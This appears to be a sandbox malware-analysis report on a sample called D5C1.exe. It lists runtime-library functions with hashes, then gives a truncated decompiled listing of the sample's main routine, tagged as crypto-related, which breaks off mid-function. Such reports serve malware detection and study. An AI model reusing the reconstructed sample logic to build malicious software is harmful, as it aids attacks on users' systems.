Instruction ID: 1122731ffa1ba3066ce2c47ace19f043eda02def10b7ba2cf561956675e94da5
Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction Fuzzy Hash: 033175B980A2429FCB15CF30D891AA5BBB4EF87225F18899CC4C59B006D366A04BCB94

Uniqueness

Uniqueness Score: -1.00%

Function 04123F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 04123F51

Part of subcall function 04125BA8: __getptd_noexit.LIBCMT ref: 04125BA8

__gmtime64_s.LIBCMT ref: 04123FEA
__gmtime64_s.LIBCMT ref: 04124020
__gmtime64_s.LIBCMT ref: 0412403D
__allrem.LIBCMT ref: 04124093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 041240AF
__allrem.LIBCMT ref: 041240C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 041240E4
__allrem.LIBCMT ref: 041240FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04124119
__invoke_watson.LIBCMT ref: 0412418A

Memory Dump Source

Source File: 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Offset: 04100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4100000_D5C1.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 741c08eaa06648919bbdd2f43ab2ceba81fd80b078e670bd74e38d5cd76854d4
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: E071E771A00736ABE7149F79CDC0BAAB7F9BF04329F144279E924E6680E774F9508790

Uniqueness

Uniqueness Score: -1.00%

Function 041284AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 041284B1
_free.LIBCMT ref: 041284E2
_free.LIBCMT ref: 041284F5
_free.LIBCMT ref: 04128513
_free.LIBCMT ref: 04128525
_free.LIBCMT ref: 04128536
_free.LIBCMT ref: 04128541
_free.LIBCMT ref: 04128565
_free.LIBCMT ref: 04128581
_free.LIBCMT ref: 04128597
_free.LIBCMT ref: 041285BF

Memory Dump Source

Source File: 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Offset: 04100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4100000_D5C1.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: 46f217d693ad9dc2b332598d2798b78be02a570e74250c7d9107165e917a72c5
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: BA31C0319006B2AFDB21AF14FDC084977A4EB1532430587AAE904D72A0CBB579E9AF90

Uniqueness

Uniqueness Score: -1.00%

Function 0414FC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::exception::exception.LIBCMT ref: 0414FC1F
__CxxThrowException@8.LIBCMT ref: 0414FC34
std::exception::exception.LIBCMT ref: 0414FC4D
__CxxThrowException@8.LIBCMT ref: 0414FC62
std::regex_error::regex_error.LIBCPMT ref: 0414FC74

Part of subcall function 0414F914: std::exception::exception.LIBCMT ref: 0414F92E

__CxxThrowException@8.LIBCMT ref: 0414FC82
std::exception::exception.LIBCMT ref: 0414FC9B
__CxxThrowException@8.LIBCMT ref: 0414FCB0

Strings

leM, xrefs: 0414FCA8

Memory Dump Source

Source File: 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Offset: 04100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4100000_D5C1.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$std::regex_error::regex_error
String ID: leM
API String ID: 2862078307-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: fe1fd4a226b4a5800926d1c42fb1141468fad47e7c2f4420c0b8bb58b050aea5
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 1A11BC79D0020DBBDF00FFA5D495CDEBB7CAA04244B408966AD1497641EB74B7498B98

Uniqueness

Uniqueness Score: -1.00%

Function 0410F010 Relevance: 15.1, APIs: 10, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0410F01F

Part of subcall function 04121602: __FF_MSGBANNER.LIBCMT ref: 04121619
Part of subcall function 04121602: __NMSG_WRITE.LIBCMT ref: 04121620

_malloc.LIBCMT ref: 0410F02B
_wprintf.LIBCMT ref: 0410F03E
_free.LIBCMT ref: 0410F044
_free.LIBCMT ref: 0410F065
_malloc.LIBCMT ref: 0410F06D
_sprintf.LIBCMT ref: 0410F0C0
_wprintf.LIBCMT ref: 0410F0D2
_wprintf.LIBCMT ref: 0410F0DC
_free.LIBCMT ref: 0410F0E5

Memory Dump Source

Source File: 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Offset: 04100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4100000_D5C1.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: d00aa34851a4bc8ab111999eb9fce738eea6673cac04151723ea0410e5820fc5
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: AE1127B29005603AE271A6B40D91EFF3AEC9F46705F0400E9FF4CD1180EB987A1593B1

Uniqueness

Uniqueness Score: -1.00%

Function 04111960 Relevance: 13.6, APIs: 9, Instructions: 149
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__CxxThrowException@8.LIBCMT ref: 041119C6
__CxxThrowException@8.LIBCMT ref: 041119F1
__CxxThrowException@8.LIBCMT ref: 04111A1A
__CxxThrowException@8.LIBCMT ref: 04111A4B
_memset.LIBCMT ref: 04111A6A
__CxxThrowException@8.LIBCMT ref: 04111A90
_malloc.LIBCMT ref: 04111AA0
_memset.LIBCMT ref: 04111AAB
_sprintf.LIBCMT ref: 04111ACE

Memory Dump Source

Source File: 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Offset: 04100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4100000_D5C1.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: a1a9c3f25b456c309c7272d28c00eff86aaf09285d1113834f3b6ba23d62d290
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: DC514A71E40219BAEB10DBA5DD86FEEBBB8FB08744F100125FA05F6190E7746A018BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0410F210 Relevance: 10.7, APIs: 7, Instructions: 165
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__CxxThrowException@8.LIBCMT ref: 0410F284
__CxxThrowException@8.LIBCMT ref: 0410F2AF
__CxxThrowException@8.LIBCMT ref: 0410F2DE
__CxxThrowException@8.LIBCMT ref: 0410F30F
_memset.LIBCMT ref: 0410F32E
__CxxThrowException@8.LIBCMT ref: 0410F354
_sprintf.LIBCMT ref: 0410F373

Memory Dump Source

Source File: 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Offset: 04100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4100000_D5C1.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: be79d8105c4cb26709cd4e139ad63cb7f97439eb33a84f0cce0ab4963a210ec9
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 7E5161B1E40209BAEF11DFA1DD86FEEBB78EB04704F104165F905B61C0E7B5AA05CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0410F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0410F4B7
__CxxThrowException@8.LIBCMT ref: 0410F4E2
__CxxThrowException@8.LIBCMT ref: 0410F504
__CxxThrowException@8.LIBCMT ref: 0410F535
_memset.LIBCMT ref: 0410F554
__CxxThrowException@8.LIBCMT ref: 0410F57A
_sprintf.LIBCMT ref: 0410F594

Memory Dump Source

Source File: 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Offset: 04100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4100000_D5C1.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: 5155f064bc76b9249eb409206d95015857bd5ef5bd745aac1de2445396f3c233
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: F8514471E40209BADF21DFA1DD86FEEBB78EB04704F104169F905B61C0E7B4B5068BA4

Uniqueness

Uniqueness Score: -1.00%

Function 041C66D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 041C66DD

Part of subcall function 041259BF: __calloc_crt.LIBCMT ref: 041259E2
Part of subcall function 041259BF: __initptd.LIBCMT ref: 04125A04

__calloc_crt.LIBCMT ref: 041C6700
__get_sys_err_msg.LIBCMT ref: 041C671E
__invoke_watson.LIBCMT ref: 041C673B
__get_sys_err_msg.LIBCMT ref: 041C676D
__invoke_watson.LIBCMT ref: 041C678B

Memory Dump Source

Source File: 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Offset: 04100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4100000_D5C1.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: e95b7c204048ac075ead002d28a72ab8f4fa8f69eeec9e7d6888cfd4defa42ce
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: A511C431640324BBFB256B69DDC0BBA738DDF10668F00086AFE08D6640F721F91042D4

Uniqueness

Uniqueness Score: -1.00%

Function 04122AD0 Relevance: 7.7, APIs: 5, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 04122B2E
_memcpy_s.LIBCMT ref: 04122BA0
__read_nolock.LIBCMT ref: 04122BFE
__filbuf.LIBCMT ref: 04122C21
_memset.LIBCMT ref: 04122C65

Part of subcall function 04125BA8: __getptd_noexit.LIBCMT ref: 04125BA8

Memory Dump Source

Source File: 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Offset: 04100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4100000_D5C1.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: b2a76fbbc1cc9cb5b215c56f65e45a288fba2a04e6f56437c582b906c7713e5d
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 5751B334A00325DBDB298F698AC06AE77B5AF40324F1487E9F835D62D0E775BA70CB44

Uniqueness

Uniqueness Score: -1.00%

Function 04112670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 041126DB
_memset.LIBCMT ref: 04112A30
_memset.LIBCMT ref: 04112AC0

Strings

D, xrefs: 04112AC8

Memory Dump Source

Source File: 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Offset: 04100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4100000_D5C1.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: f0ed805fb9bb3c0488c1737517b406216d149e98829103543697b8b233d39aaa
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 6AE12971D40219AADF24DFA0DD89FEEB7B8BF04304F1441BAE509B61A0EB74AA45CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0410D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0410D8EA

Strings

(, xrefs: 0410DAE9
, xrefs: 0410DADB
$, xrefs: 0410DAE2

Memory Dump Source

Source File: 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Offset: 04100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4100000_D5C1.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: c8e642e2fcf40d10290eb6df7ae938b8e6f0a0080de39bd9cc5f3bbc2b722883
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 0891AF71D00258DAEF20DFA0DC95BEEBBB4AF06308F1481A9D405B72D0DBB66A48CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0414FBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0414FBF1
__CxxThrowException@8.LIBCMT ref: 0414FC06

Strings

TeM, xrefs: 0414FBFB, 0414FBE7
TeM, xrefs: 0414FBFE

Memory Dump Source

Source File: 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Offset: 04100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4100000_D5C1.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception
String ID: TeM$TeM
API String ID: 3728558374-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: e2452bfae182757502b6e99bef67ec1b4a730e718670f67700ca104c06fefd90
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: C2D067B5D0020CBBDB00EFA5D499CDDBBB8AA04348B008466A91497241EB74A7498B98

Uniqueness

Uniqueness Score: -1.00%

Function 0410D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 0412197D: __wfsopen.LIBCMT ref: 04121988

_fgetws.LIBCMT ref: 0410D15C

Memory Dump Source

Source File: 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Offset: 04100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4100000_D5C1.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: c830f08eae11e85b6352a5f756c5502d1c0838b0febc585c97283c3a19752770
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 4D91E1B1D00319ABEF20DFA4DEC47AEB7B5BF04314F144569E815A7280E7B9BA14CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0410D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0410D77E
_malloc.LIBCMT ref: 0410D7B2
_malloc.LIBCMT ref: 0410D7C1
_fprintf.LIBCMT ref: 0410D815

Memory Dump Source

Source File: 00000005.00000002.628870505.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Offset: 04100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4100000_D5C1.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: f7090625a60737fad2801e10e7a9c9a9b5f8e98b60eac8a793ffd407587e7f3c
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 51A1AFB1C00258EBEF11EFE4DC85BDEBB70AF15308F144068D40576291E7BA6A58CBA6

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: D5C1.exePID: 6964, Parent PID: 6912COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	43.4%
Total number of Nodes:	447
Total number of Limit Nodes:	16

Executed Functions

Function 00419F90 Relevance: 176.6, APIs: 65, Strings: 35, Instructions: 1565
COMMONCrypto

Download Yara Rule

C-Code - Quality: 85%

			E00419F90(void* __ebx, void* __edi, intOrPtr _a4, int _a8, int _a12, int _a16, signed int _a20, WCHAR** _a24, void* _a28, signed int _a32, intOrPtr _a36, long _a40, int _a44, int _a52, int _a56, intOrPtr _a72, intOrPtr _a80, char _a84, WCHAR* _a88, char _a96, intOrPtr _a100, struct tagMSG _a104, int _a108, char _a116, WCHAR* _a124, char _a128, char _a132, int _a144, int _a148, char _a156, char _a160, int _a176, int _a180, char _a196, char _a200, char _a204, int _a216, int _a220, char _a228, char _a232, int _a244, int _a248, char _a252, char _a260, char _a264, struct tagMSG _a272, struct tagMSG _a276, int _a280, int _a284, intOrPtr _a288, int _a292, char _a300, char _a304, char _a320, int _a336, int _a340, char _a380, short _a388, struct _SHELLEXECUTEINFOW _a396, int _a400, WCHAR* _a408, char* _a412, WCHAR* _a416, intOrPtr _a420, intOrPtr _a424, void* _a892, char _a896, short _a968, char _a984, char _a3248, short _a3252) {
				intOrPtr _v0;
				int _v4;
				long _v8;
				WCHAR** _v12;
				short* _v16;
				int _v20;
				CHAR* _v24;
				int _v28;
				int _v32;
				int _v36;
				int _v40;
				int _v44;
				int _v48;
				int _v52;
				int _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				char _v104;
				char _v108;
				char _v112;
				char _v116;
				char _v120;
				char _v124;
				char _v128;
				char _v132;
				void* __esi;
				void* _t525;
				void* _t526;
				void* _t528;
				int _t530;
				void* _t534;
				void* _t535;
				void* _t536;
				void* _t556;
				int _t557;
				WCHAR** _t566;
				void* _t570;
				void* _t573;
				int _t581;
				void* _t585;
				void* _t588;
				intOrPtr* _t590;
				int _t592;
				void* _t594;
				CHAR* _t596;
				void* _t599;
				void* _t602;
				void* _t608;
				void* _t614;
				int* _t618;
				short* _t677;
				void* _t697;
				void* _t707;
				void* _t723;
				void* _t727;
				long _t728;
				long _t729;
				void* _t730;
				void* _t746;
				long _t747;
				void* _t751;
				void* _t754;
				long _t755;
				void* _t759;
				void* _t765;
				signed int _t770;
				void* _t773;
				void* _t780;
				void* _t782;
				void* _t784;
				void* _t788;
				signed int _t789;
				void* _t790;
				void* _t799;
				void* _t800;
				void* _t817;
				void* _t828;
				void* _t839;
				short* _t846;
				void* _t856;
				void* _t859;
				char* _t861;
				void* _t865;
				long _t868;
				intOrPtr* _t879;
				void* _t881;
				void* _t895;
				void* _t896;
				void* _t897;
				void* _t898;
				void* _t899;
				void* _t901;
				void* _t903;
				long _t916;
				signed int _t917;
				void* _t919;
				WCHAR** _t923;
				WCHAR** _t949;
				WCHAR* _t950;
				void* _t952;
				int* _t955;
				int* _t958;
				int* _t960;
				intOrPtr _t962;
				int _t966;
				WCHAR** _t968;
				void* _t969;
				void* _t974;
				intOrPtr* _t982;
				void* _t983;
				intOrPtr* _t986;
				void* _t987;
				WCHAR* _t989;
				signed int _t990;
				signed int _t991;
				WCHAR* _t995;
				signed int _t996;
				signed int _t997;
				WCHAR* _t1000;
				signed int _t1001;
				signed int _t1002;
				intOrPtr* _t1005;
				void* _t1006;
				char* _t1008;
				intOrPtr* _t1011;
				void* _t1012;
				char* _t1014;
				intOrPtr* _t1017;
				void* _t1018;
				char* _t1020;
				intOrPtr* _t1136;
				void* _t1137;
				short* _t1142;
				void* _t1145;
				intOrPtr _t1159;
				intOrPtr _t1161;
				intOrPtr* _t1164;
				intOrPtr* _t1167;
				short* _t1168;
				short* _t1171;
				short* _t1173;
				intOrPtr* _t1175;
				intOrPtr* _t1178;
				intOrPtr* _t1181;
				intOrPtr* _t1191;
				int _t1197;
				int _t1198;
				WCHAR* _t1199;
				short* _t1200;
				signed int _t1201;
				signed int _t1202;
				signed int _t1204;
				short* _t1205;
				signed int _t1206;
				int* _t1207;
				signed int _t1208;
				int* _t1209;
				signed int _t1210;
				int* _t1211;
				intOrPtr* _t1212;
				unsigned int _t1215;
				signed int _t1217;
				void* _t1220;
				int* _t1226;
				void* _t1227;
				int _t1230;
				short* _t1231;
				int _t1232;
				int _t1233;
				int _t1234;
				int _t1235;
				char _t1236;
				int _t1242;
				signed int _t1244;
				short* _t1245;
				long _t1248;
				void* _t1249;
				signed int _t1263;
				signed int _t1264;
				void* _t1266;
				void* _t1268;
				void* _t1269;
				short* _t1270;
				void* _t1271;
				short* _t1272;
				void* _t1273;
				void* _t1274;
				char* _t1275;
				void* _t1276;
				void* _t1277;
				char* _t1278;
				void* _t1279;
				void* _t1280;
				char* _t1281;
				void* _t1282;
				void* _t1283;
				void* _t1284;
				void* _t1285;
				void* _t1286;
				void* _t1290;
				void* _t1292;
				short* _t1294;

				_t1264 = _t1263 & 0xfffffff8;
				E0042F7C0(0x14c4);
				_push(__ebx);
				_push(__edi);
				 *0x513244 = _a4; // executed
				_t525 = E0040CF10(); // executed
				if(_t525 == 0) {
					_t526 = GetCurrentProcess();
					GetLastError();
					_t528 = SetPriorityClass(_t526, 0x80); // executed
					__eflags = _t528;
					if(__eflags == 0) {
						GetLastError();
					}
					_t1226 =  *0x529228; // 0x78d380
					_a52 = 0;
					_a56 = 0;
					_t530 = E0041D3C0(__eflags, _t1226, _t1226[1],  &_a52);
					_t1159 =  *0x52922c; // 0x0
					_t974 = 0xffffffe - _t1159;
					_t1197 = _t530;
					__eflags = _t974 - 1;
					if(__eflags < 0) {
						_push("list<T> too long");
						E0044F23E(__eflags);
						goto L213;
					} else {
						 *0x52922c = _t1159 + 1;
						_t1226[1] = _t1197;
						 *( *(_t1197 + 4)) = _t1197;
						_t556 = E00419D10( &_a984);
						_t1226 =  *0x513268;
						_t557 = E0041D340(__eflags, _t1226, _t1226[1], _t556);
						_t1161 =  *0x51326c;
						_t974 = 0x1cb189 - _t1161;
						_t1198 = _t557;
						__eflags = _t974 - 1;
						if(__eflags < 0) {
							L213:
							_push("list<T> too long");
							E0044F23E(__eflags);
							asm("int3");
							asm("int3");
							asm("int3");
							_push(_t1226);
							_t1227 = _t974;
							__eflags =  *(_t1227 + 0x8dc) - 0x10;
							if( *(_t1227 + 0x8dc) >= 0x10) {
								L00422587( *((intOrPtr*)(_t1227 + 0x8c8)));
								_t1264 = _t1264 + 4;
							}
							 *(_t1227 + 0x8dc) = 0xf;
							 *(_t1227 + 0x8d8) = 0;
							 *((char*)(_t1227 + 0x8c8)) = 0;
							__eflags =  *(_t1227 + 0x8b8) - 8;
							if( *(_t1227 + 0x8b8) >= 8) {
								L00422587( *((intOrPtr*)(_t1227 + 0x8a4)));
								_t1264 = _t1264 + 4;
							}
							 *(_t1227 + 0x8b8) = 7;
							 *(_t1227 + 0x8b4) = 0;
							 *((short*)(_t1227 + 0x8a4)) = 0;
							_t534 =  *(_t1227 + 0x898);
							__eflags = _t534;
							if(_t534 != 0) {
								E00414F10(_t534,  *(_t1227 + 0x89c));
								L00422587( *(_t1227 + 0x898));
								_t1264 = _t1264 + 4;
								 *(_t1227 + 0x898) = 0;
								 *(_t1227 + 0x89c) = 0;
								 *(_t1227 + 0x8a0) = 0;
							}
							_t535 =  *(_t1227 + 0x88c);
							__eflags = _t535;
							if(_t535 != 0) {
								E00414F10(_t535,  *(_t1227 + 0x890));
								L00422587( *(_t1227 + 0x88c));
								_t1264 = _t1264 + 4;
								 *(_t1227 + 0x88c) = 0;
								 *(_t1227 + 0x890) = 0;
								 *(_t1227 + 0x894) = 0;
							}
							_t536 =  *(_t1227 + 0x880);
							__eflags = _t536;
							if(_t536 != 0) {
								E00414F10(_t536,  *(_t1227 + 0x884));
								L00422587( *(_t1227 + 0x880));
								_t1264 = _t1264 + 4;
								 *(_t1227 + 0x880) = 0;
								 *(_t1227 + 0x884) = 0;
								 *(_t1227 + 0x888) = 0;
							}
							__eflags =  *(_t1227 + 0x87c) - 8;
							if( *(_t1227 + 0x87c) >= 8) {
								L00422587( *((intOrPtr*)(_t1227 + 0x868)));
								_t1264 = _t1264 + 4;
							}
							 *(_t1227 + 0x87c) = 7;
							 *(_t1227 + 0x878) = 0;
							 *((short*)(_t1227 + 0x868)) = 0;
							__eflags =  *(_t1227 + 0x864) - 8;
							if( *(_t1227 + 0x864) >= 8) {
								L00422587( *((intOrPtr*)(_t1227 + 0x850)));
								_t1264 = _t1264 + 4;
							}
							 *(_t1227 + 0x864) = 7;
							 *(_t1227 + 0x860) = 0;
							 *((short*)(_t1227 + 0x850)) = 0;
							__eflags =  *(_t1227 + 0x84c) - 8;
							if( *(_t1227 + 0x84c) >= 8) {
								L00422587( *((intOrPtr*)(_t1227 + 0x838)));
								_t1264 = _t1264 + 4;
							}
							 *(_t1227 + 0x84c) = 7;
							 *(_t1227 + 0x848) = 0;
							 *((short*)(_t1227 + 0x838)) = 0;
							__eflags =  *(_t1227 + 0x834) - 8;
							if( *(_t1227 + 0x834) >= 8) {
								L00422587( *((intOrPtr*)(_t1227 + 0x820)));
								_t1264 = _t1264 + 4;
							}
							 *(_t1227 + 0x834) = 7;
							 *(_t1227 + 0x830) = 0;
							 *((short*)(_t1227 + 0x820)) = 0;
							__eflags =  *(_t1227 + 0x1c) - 8;
							if( *(_t1227 + 0x1c) >= 8) {
								L00422587( *((intOrPtr*)(_t1227 + 8)));
							}
							 *(_t1227 + 0x1c) = 7;
							__eflags = 0;
							 *(_t1227 + 0x18) = 0;
							 *((short*)(_t1227 + 8)) = 0;
							return 0;
						} else {
							 *0x51326c = _t1161 + 1;
							_t1226[1] = _t1198;
							 *( *(_t1198 + 4)) = _t1198;
							L214();
							_a32 = 0;
							_a44 = 0;
							_t1230 =  *( *0x513268);
							_v4 = _t1230;
							_a52 = _t1230;
							E00413A90(0,  &_a128, _t1198, 0x400);
							_t1199 = _a124;
							GetModuleFileNameW(0, _t1199, 0x400);
							PathRemoveFileSpecW(_t1199);
							_push(_a72);
							_a180 = 7;
							_a176 = 0;
							_a160 = 0;
							E00418400( &_a160, _t1199, _a128);
							_t1200 = _t1230 + 0x10;
							__eflags = _t1200 -  &_a148;
							if(_t1200 !=  &_a148) {
								__eflags =  *(_t1200 + 0x14) - 8;
								if( *(_t1200 + 0x14) >= 8) {
									L00422587( *_t1200);
									_t1264 = _t1264 + 4;
								}
								__eflags = 0;
								 *(_t1200 + 0x14) = 7;
								 *(_t1200 + 0x10) = 0;
								 *_t1200 = 0;
								E004145A0(_t1200,  &_a160);
							}
							__eflags = _a180 - 8;
							if(_a180 >= 8) {
								L00422587(_a160);
								_t1264 = _t1264 + 4;
							}
							_a44 = 0;
							_t566 = CommandLineToArgvW(GetCommandLineW(),  &_a44);
							_a28 = _t566;
							lstrcpyW( &_a3252,  *_t566);
							_t1201 = 1;
							__eflags = _a36 - 1;
							if(_a36 <= 1) {
								L26:
								GlobalFree(_a28);
								__eflags =  *0x513235;
								if( *0x513235 == 0) {
									_t570 = E00412220(); // executed
									__eflags = _t570 - 1;
								} else {
									__eflags = E00412220() - 2;
								}
								if(__eflags <= 0) {
